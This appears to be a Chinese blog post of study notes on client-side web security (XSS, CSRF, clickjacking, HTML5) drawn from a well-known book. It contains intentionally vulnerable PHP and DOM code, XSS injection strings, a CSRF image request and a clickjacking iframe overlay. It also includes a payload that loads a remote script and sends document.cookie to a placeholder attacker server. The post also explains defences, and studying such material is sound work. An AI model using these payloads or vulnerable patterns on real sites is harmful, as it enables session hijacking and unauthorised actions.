客户端脚本安全

###一下案例均来自白帽子讲Web安全-吴翰清 一书中

这篇主要是记录下一些内容中的简单概念,其中书中涉及很多实例代码,这边不具体叙述。

客户端脚本安全

XSS攻击

XSS:跨站脚本攻击,英文全称为Cross Sie Script 本来缩写是CSS,但是为了和层叠样式CSS做区分,所以在安全领域叫做XSS
XSS攻击,通常指用户通过HTML注入篡改了网页,插入恶意的脚本,从而在用户浏览网页的时候,控制用户浏览器的一种攻击 ,从一开始这种攻击的案例是跨域的,所以叫做跨站脚本,但是发展到今天,由于JavaScript的强大功能,以及网站前端应用的复杂化,是否跨域以及不在重要

XSS根据效果分为三个类型

  • 第一种反射性:只是简单的把用户输入的数据“反射”给浏览器.黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
<!DOCTYPE html> 
<html> 
<body> 

<?php 
$input=$_GET["param"];

echo "<div>".$input."</div>";
?> 

</body> 
</html>

上面这段是根据用户提交的参数显示到页面上

http://127.0.0.1/hello.php?param=hello(显示一个hello)
http://127.0.0.1/hello.php?param=<script>alert(/xxx/)</script>(在火狐浏览器弹出alert)

这段在chrome浏览器上,显示被浏览器拦截,但是在火狐浏览器上弹出了框,不同浏览器对此有些做出了处理

  • 储存小XSS:储存型XSS会把用户输入的数据储存到服务器端,这种XSS具有很强的稳定性,场景,黑客写下一篇包含恶意的javaScript的代码文章,然后访问该文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码,这种叫做储存型的XSS攻击
  • DOM Based XSS,通过修改DOM节点形成的xss,从效果上也是反射性XSS,但是因为形成的原因比较特别
<html>
	<head>
		<title></title>
		<meta charset="UTF-8"/>
		<script type="text/javascript" charset="utf-8">
          function test(){
          	var str=document.getElementById("text").value;
          	document.getElementById("t").innerHTML="<a href='"+str+"'>testLink</a>"
          }
		</script>
	</head>

	<body>
		<div id="t"></div>
		<input type="text" id="text" value="" />
		<input type="button" id="s" value="write" onclick="test()" />
	</body>
</html>

通过输入的内容形成超链接

构造数据
' onclick=alert(/xss/) //

//另一种利用方式,构造一个新事件,闭合掉<a>标签,并插入新的html标签
'><img src=# onerror=alert(/xss2/) /><'

在各自浏览器上f12,查看修改后的html内容

XSS攻击进阶

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器,这些用以完成各种具体功能的恶意脚本,被称为 XSS Payload(实际上就是JavaScript脚本

常见的案例cookie挟持

//先加载一个远程脚本
http:///www.a.com/test.htm?abc="><script src=http://xxxxxx/xx.js><script>

在这个远程脚本中
var img=document.createElement("img");
//发送给攻击者自己的服务器
img.src="http://xxxxxx/log?"+escape(document.cookie);
document.body.appendChild(img)

XSS构造GET和POST请求

如果删除一篇文章的链接是 http:xxxxxx/m=delete&id=xxx;

如果知道该文章的Id,只要攻击者插入一张图片就可以了,因为当前用户的cookie 已经存在他的浏览器中,只要他触发了这段js代码
var img=document.createElement("img")
img.src="http:xxxxxx/m=delete&id=xxx";
document.body.appendChild(img)

####post同理利用XMLHttpRequest或者 构建一个form表单然后自动提交

#####XSS能做什么

  • 钓鱼:利用JavaScript在当前页面画出一个伪造的登录框,窃取信息发送给自己的服务器
  • 识别用户的浏览器:如果知道用户使用的浏览器,操作系统,能收集到信息(JavaScript,识别浏览器版本,网上有很多案例)
  • 识别用户的安装软件
    在IE中,可以判断ActiveX框架中的classid 是否存在,推测用户是否安装了该软件
try{
  var obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
}catch(e){
}
  • 获取用户iP,用户电脑使用了代理服务器,或者隐藏在局域网中隐藏在NAT后面。网站看到的是客户端的IP地址,是内网出口IP地址,而非真正地址,但是借助第三方软件可以完成 ,如果客户端安装了Java环境,xss可以通过调用JavaApplet的接口来获取客户端的IP地址在Xss攻击框架中有“Attack API",可以获取本地IP地址

XSS的防御

  1. HttpOnly:浏览器将禁止页面的JavaScript访问带有HttpOnly属性的,添加HttpOnly的过程简单,如果业务太过复杂,则需要在所有Set-Cookie的地方,给关键的cookie加上HttpOnly
服务器端设置 response.setheader("Set-cookie","cookiename=value";Path=/;Domain=domainvalue;Max-Agseconds;HTTPOnly")
  1. 输入检查,使用开源的XSS Filter 在用户提交数据的时候,进行XSS检查,是否包含特殊字符如’<'script> javascript 等敏感关键词
  2. 输出检查,可以使用编码或转义来处理
  3. 使用安全编码的函数,如HTMLEncode。XMLEncode等,JS编码方式可以使用JavascriptEncode https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
在对抗 XSS,在HTMLEncdoe中的要求至少转换一下字符
&-->&amp;
<-->&ly;
>-->&gt;
"->&quot;
'->&#x27;
/->&#x2F

####XSS的本质是一种HTML注入,用户的数据被当做HTML代码一部分执行,已混淆了原本的语义,产生了新的语义

正确的防御xss

  • 在HTML标签中输出、在HTML属性中输出:对变量使用HtmlEncode
    在<’'script>标签中输出
  • 在事件中输出:使用JavascriptEncode
  • 在CSS中输出:推荐使用OWASP ESAPI中的encodeCSS()方法
  • 防御DOM Based XSS:复合的XSS防御 从$var输出到<’'script>的时候需要做JavascriptEncode,在输出到html的时候,如果是输出到事件或者脚本,再做一次JavascriptEncode,如果输出到html,做HtmlEncode,即,输出点即为防御点。

##CSRF

CSRF(Cross-site request forgery)跨站请求伪造,它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。

浏览器的Cookie策略:Cookie分为两种,Session Cookie(在浏览器关闭后,就会失效,保存到内存里),Third-party Cookie(即只有到了Exprie时间后才会失效的Cookie,这种Cookie会保存到本地)。如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie发送 ,P3P Header如果返回给浏览器的HTTP头中包含了P3P的头,将允许浏览器发送第三方cookie, p3p头主要用于类似广告等需要跨域访问的页面

##CSRF防御

  • 尽量使用POST,限制GET:get构建一个img标签 src 发送get请求,接口限制为post,降低攻击风险
  • 验证码:验证码能强制用户与应用交互
  • Referer Check:检查请求是否来自于合法的源,在互联网最常见的应用就是防盗链
  • TOKEN机制:服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,允许用户在一个有效的生命周期内,消耗掉token后,生成一个新的token.

##点击挟持

点击挟持是,视觉上的一种欺骗,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在改网页上进行操作,此时用户在不知情的点击透明的iframe页面。提供调整iframe的位置,可以使得用户点击的在iframe页面的功能性按钮

		<style>
			iframe{
				width: 900px;
				height: 250px;
				position: absolute;
				top: -195px;
				left: -740px;
				z-index: 2;
				-moz-opacity: 0.5;
				opacity: 0.0;
				filter: alpha;
			}
			
			button{
				position: absolute;
				top: 10px;
				left: 10px;
				z-index: 1;
				width: 120px;
			}
		</style>
	</head>

	<body>
	 <iframe src="http://www.qidian.com" scrolling="no"></iframe>
     <button>CLICK HERE!</button>
	</body>

基于点击挟持的几种方式

  • 图片覆盖攻击:利用图片的style将页面的图片覆盖,然后链接到自己的网站
  • flash点击挟持:攻击者制作一个游戏,诱使用户玩游戏,用户点击CLICK按钮,在其隐藏一个看不见的iframe,提供多次点击
  • 拖拽与数据窃取:浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略的限制,拖拽挟持的思路是,诱使用户从隐藏的不可见的iframe中拖拽楚攻击者希望得到的数据,然后放到攻击者能控制的另一个页面上

###防御点击挟持

X-Frame-Options:因为frame busting 存在被绕过的可能,所以我们需要寻找其他更好的解决方案,就是使用一个Http头-X-Frame-Options ,当值为DENY时,浏览器会拒绝当前页面加载任何frame页面,若值为SAMEORIGIN,则frame页面的地址只能为同源域名下的页面;若值为ALLOW-FROM,则可以定义运行frame加载的页面地址

HTML5安全

Html5中新增的一些标签和属性,使得XSS等WEB攻击产生了新的变化,为例总结一些变化,有些安全研究者建立了HTML5 Security Cheatsheet项目

####iframe
iframe的sandbox:在h5中iframe定义了一个新的属性叫sandbox。使用sandbox这个属性,iframe标签,加载的内容将被视作独立的源。其中的脚本将被禁止,表单被禁止提交,插件禁止被加载,指向其他浏览对象的链接也会被禁止

sandbox属性可以通过参数来支持更多精确的控制

  • allow-same-origin:允许同源访问
  • allow-top-navigation:运行访问顶层窗口:
  • allow-forms:允许提交表单
  • allow-scripts:允许执行脚本

####Link Type
html5 为a和area表情定义了新的link types:noreferrer,在指定noreferrer后,浏览器在请求该标签指定的地址将不在发送Referer

####Canvas
canvas 是h5提供新的标签,他的强大甚至可以破解验证码!!
####Cross-Origin Resource Sharing
因为浏览器实现了同源策略,限制了脚本的跨域请求,但是需求下跨域访问的情景越来越多

假设www.a.com/test.html 发起跨域的XMLHttpRequest的请求,请求地址为www.b.com/test.php

在这个过程中

//a.com/test.html 发起请求带上一个Origin Header
Origin:http://www.a.com

//在服务器b.com返回一个HTTP Header
Access-Control-Allow-Origin:http://www.a.com 

通过Origin Header标记HTTP发起的源,服务器识别。

####postMessage-跨窗口传递消息
postMessage 允许每个window对象往其他窗口发送消息。从而实现跨窗口的消息传递。这个功能不受同源策略影响

使用postMessage的注意点

  1. 在接受窗口验证Domain,甚至验证URL
  2. 在接受窗口对消息进行安全检查,避免将消息写入innerHtml 甚至写入script中

内容来自于 白帽子讲Web安全-吴翰清
参考:http://www.cnblogs.com/lovesong/p/5233195.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值